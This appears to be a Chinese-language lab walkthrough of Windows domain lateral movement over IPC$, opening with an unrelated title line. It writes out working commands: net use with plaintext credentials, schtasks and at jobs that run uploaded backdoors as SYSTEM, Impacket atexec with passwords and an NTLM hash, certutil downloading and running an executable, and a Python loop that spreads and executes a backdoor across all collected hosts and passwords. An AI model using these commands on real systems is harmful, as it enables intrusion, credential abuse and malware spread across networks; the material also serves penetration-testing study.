php mysql做網(wǎng)站登錄俄羅斯搜索引擎
環(huán)境部署
案例一: 域橫向移動-IPC-命令版-at&schtasks
首先是通過外網(wǎng)web訪問到win2008,獲得了win2008的權(quán)限,這一步不做演示
因為里面的主機都不出網(wǎng),所以只能利用win2008進行正向或者反向連接
信息收集
域內(nèi)用戶信息,以及域控名
收集域控ip
現(xiàn)在知道了域內(nèi)的網(wǎng)段,探測存活主機,一般主機都會默認開啟IPC$,ipc的端口是135,這里利用
ipc建立隧道進行文件上傳
目標列表可以查看存活主機
這里抓取hash以及明文密碼,需要提權(quán)到system
提權(quán)有很多種方法,可以看這篇文章
第98天:權(quán)限提升-WIN 全平臺&MSF 自動化&CS 插件化&EXP 篩選&溢出漏洞_cs 利用插件提權(quán)的方法-CSDN博客第98天:權(quán)限提升-WIN 全平臺&MSF 自動化&CS 插件化&EXP 篩選&溢出漏洞_cs 利用插件提權(quán)的方法-CSDN博客獲得了system權(quán)限利用system權(quán)限去抓取hash
?
這里其實直接有了域控的賬號密碼,是因為我用管理員身份執(zhí)行了一些操作
win7上線
這里不知道30的是win7還是別的主機
首先ipc建立隧道,這里的思路就是利用剛才抓取的賬號密碼,一個一個試,可能別人用他的賬號登錄過這臺主機,那么他的賬號密碼就會記錄下來,這里我剛搭建的環(huán)境,沒登陸過,假設賬號密碼已知^_^,或者你要是知道了域控管理員的賬號直接利用管理員賬號登錄
shell net use \\目標ip\ipc$ "域控密碼或者主機密碼" /user:"域控賬號或者主機賬號"
shell net use \\192.168.3.30\ipc$ "123.com" /user:qq.com\na
實驗過程中發(fā)現(xiàn)該隧道如果windows防火墻打開的話無法建立連接
隧道建立完成后需要上傳木馬文件,先嘗試正向連接
生成后門
先把生成的木馬上傳到win2008
?注意上傳文件的時候至少需要用到管理員權(quán)限(admin或system)
添加計時任務,win2012之前的主機用at命令就可以,之后的主機用schetasks
shell at \\主機ip 時間 命令
shell at \\192.168.3.30 10.40 c:\2.exe
但是win7這里經(jīng)過實驗發(fā)現(xiàn)還是使用schetasks,at命令更加簡單,一句話就可以,這里就不復現(xiàn)了
#創(chuàng)建任務beacon
schtasks /create /s 192.168.3.30 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\2.exe /F#運行beacon
schtasks /U administrator /P 123.com /run /s 192.168.3.30 /tn beacon /i
命令參數(shù)
1.schtasks /change #更改任務的以下一個或多個屬性:任務運行的程序 (/tr);運行任務的用戶帳戶 (/ru);用戶帳戶的密碼 (/rp);將僅交互式屬性添加到任務 (/it)2.schtasks /create #計劃新任務3.schtasks /delete #刪除計劃任務4.schtasks /end #停止任務啟動的程序5.schtasks /query #顯示計劃在計算機上運行的任務6.schtasks /run #立即啟動計劃任務。 運行操作會忽略計劃,但使用任務中保存的程序文件位置、用戶帳戶和密碼立即運行任務
#/sc 啟動時間參數(shù)為MINUTE、HOURLY、DAILY、WEEKLY等時,需要指定/mo運行的間隔時間
/sc onlogon 用戶登錄時啟動
/sc onstart 系統(tǒng)啟動時啟動
/sc onidle 系統(tǒng)空閑時啟動
/sc MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。
/sc 分鐘、小時、每天、每周、每月、一次、開始、登錄、空閑、事件。
參數(shù):
/sc 計劃任務類型,可選值為MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn 計劃任務名稱,后續(xù)查詢、修改、刪除、執(zhí)行時使用
/tr 需要運行的程序或命令,傳入的命令中間如果有空格會被截斷為程序和參數(shù),因此需要將雙引號轉(zhuǎn)義并傳入。
/ru 運行任務的用戶賬戶名,不使用此參數(shù)的話使用執(zhí)行schtasks命令的賬戶運行計劃任務
/rp 運行任務的用戶賬戶密碼
/mo 指定任務在計劃類型中的運行間隔
/d 指定任務在一個月或者星期的某一天運行,只適用于MONTHLY和WEEKLY類型。
/m 指定任務在某個月運行,只適用于MONTHLY類型。
/i 當計劃任務類型為ONIDLE時,運行任務前計算機處于空閑狀態(tài)的分鐘數(shù)。
/st 當計劃任務類型為MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY時使用,指定任務的開始時間,默認為本地計算機的當前時間。
/ri 指定計劃任務的重復間隔,以分鐘為單位。不適合計劃類型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et 指定計劃任務的結(jié)束時間,適用于計劃類型:MINUTE、HOURLY, 在指定的結(jié)束時間之后,schtasks 不會再次啟動任務,除非當前系統(tǒng)時間調(diào)回開始時間。默認情況下,沒有結(jié)束時間。
/du 指定任務計劃的持續(xù)時間,與/et類似,默認情況下沒有持續(xù)時間。
/k 在指定計劃任務的結(jié)束時間或持續(xù)時間后停止任務,如果不加此參數(shù),則在時間到了會繼續(xù)運行或者重啟該任務。
/it 只在用戶登錄時運行
/z 在任務計劃完成后刪除任務計劃
/f 在創(chuàng)建任務時如果任務已存在不顯示警告
/RL 為作業(yè)設置運行級別。有效值為LIMITED 和 HIGHEST。默認值為 LIMITED。
/F 如果指定的任務已經(jīng)存在,則強制創(chuàng)建任務并抑制警告。
創(chuàng)建并且運行
然后主動進行連接
因為我運行的賬號密碼是系統(tǒng)的賬號密碼,所以獲得的是system權(quán)限
如果不知道系統(tǒng)賬戶的用戶名密碼 ,所以還需要得知道主機的賬號密碼。感覺真實環(huán)境肯定更難一點……
win7上線后可以進一步抓取明文密碼和hash,進一步信息收集
正向上線完嘗試反向上線
生成木馬上傳
?創(chuàng)建計劃任務并且運行
上線從這幅圖里面可以看出來win7有一臺是正向,有一臺是反向
win2019上線
這里win2019已經(jīng)改為192.168.3.50,win2019因為系統(tǒng)問題所以很多得需要更高的權(quán)限去執(zhí)行
win2019采用反向上線
生成監(jiān)聽器
?
生成木馬,上傳到win7
上傳前看一下當前路徑在哪里
創(chuàng)建ipc隧道,這里上傳的時候發(fā)現(xiàn)這里創(chuàng)建隧道已經(jīng)不能再用域用戶了,要么使用這臺主機的管理員用戶,要么使用域的管理員用戶,可能是系統(tǒng)的安全策略做了提升
shell net use \\192.168.3.50\ipc$ "123.com" /user:qq.com\administrator
然后創(chuàng)建計時任務,因為系統(tǒng)安全性的提高需要帶上賬號密碼去創(chuàng)建計時任務
shell schtasks /create /s 192.168.3.50 /U administrator /P 123.com /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4.exe /F
然后運行
成功上線
案例二:域橫向移動-IPC-插件版-CS&LSTARS
案例三: 域橫向移動-IPC-套件版-Impacket-atexec
1、Py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows
exe版本上傳到win2019(50)去探測win2012(40)
atexec.exe 域名/賬號:密碼@ip "命令"
atexec.exe ./本地賬號:密碼@ip "命令"
atexec.exe qq.com/administrator:123.com@192.168.3.40 "whoami"
域用戶
本地用戶
它可以執(zhí)行命令那么可以嘗試用它進行上線,首先思路是已經(jīng)拿到了webserver,然后上傳木馬文件到了webserver
讓主機反向連接webserver
利用這條命令遠程下載,讓win2012進行上線,注意這里的ip是win2012的ip需要下載到自己的主機,通過win2008讓win2012執(zhí)行命令然后下載
atexec.exe ./administrator:123.com@192.168.3.40 "certutil.exe -urlcache -split -f http://192.168.3.20:80/3.exe zx.exe"
默認會下載到c:/windows/system32/下
執(zhí)行,成功上線
案例四:? 域橫向移動-IPC-代理版-Socks&Py&atexec
代理轉(zhuǎn)發(fā)
設置代理節(jié)點
直接在kali上運行,通過kali連接win2008給自己的節(jié)點,去連接win2012
?在kali本地利用python文件遠程下載木馬
記得開啟win2008的監(jiān)聽
kali本地執(zhí)行木馬
成功上線
然后可以寫python文件批量進行連接思路就是,把收集到的賬號,密碼,以及ip全部寫成字典,然后,批量用atexec.py上傳木馬,然后運行
win2008只獲得了這幾個密碼
前面通過端口掃描獲得的ip
import os
# 使用列表來存儲密碼,確保每個密碼都是獨立的元素
passwords = [ '123.com',
]
# IP 地址集合
ips = { '192.168.3.20', '192.168.3.30', '192.168.3.40', '192.168.3.50'
}
# 用戶名集合
users = { 'Administrator', 'jie'
}
def xz(): # 下載后門 for ip in ips: for user in users: for password in passwords: # 注意修正了路徑和用戶名的問題 exec1 = f'python atexec.py ./administrator:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"' exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"' print('--->' + exec1 + '<---') print('--->' + exec2 + '<---') os.system(exec1) os.system(exec2)
def zx(): # 執(zhí)行后門 for ip in ips: for user in users: for password in passwords: # 注意修正了路徑和用戶名的問題 exec1 = f'python atexec.py ./administrator:{password}@{ip} "zx.exe"' exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "zx.exe"' print('--->' + exec1 + '<---') print('--->' + exec2 + '<---') os.system(exec1) os.system(exec2) if __name__ == '__main__': xz() zx()
通過代理執(zhí)行這個文件